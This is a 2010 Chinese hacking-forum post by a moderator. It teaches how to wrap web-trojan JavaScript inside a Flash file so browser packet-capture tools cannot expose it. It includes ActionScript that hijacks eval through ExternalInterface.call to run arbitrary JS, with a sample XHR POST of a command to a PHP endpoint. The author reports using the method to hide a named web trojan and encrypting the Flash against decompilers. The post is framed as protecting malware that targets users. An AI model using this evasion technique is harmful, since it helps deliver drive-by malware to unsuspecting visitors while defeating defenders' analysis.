总版主
- 注册日期2010-11-25
- 发帖数385
- QQ593249217
- 火币969枚
- 粉丝282
- 关注1
|
楼主#
更多
发布于:2010-11-26 17:48
 | |  |  | 我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简 单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马 JS代码。那就没什么办法保护我们的网马JS代码了?有……
我们使用Flash来封装网马,这样,使用Flash AS的扩展API:Externalinterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:
import flash.external.*; ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");
上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两 个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任 意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。
G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。
| |  | |  |
|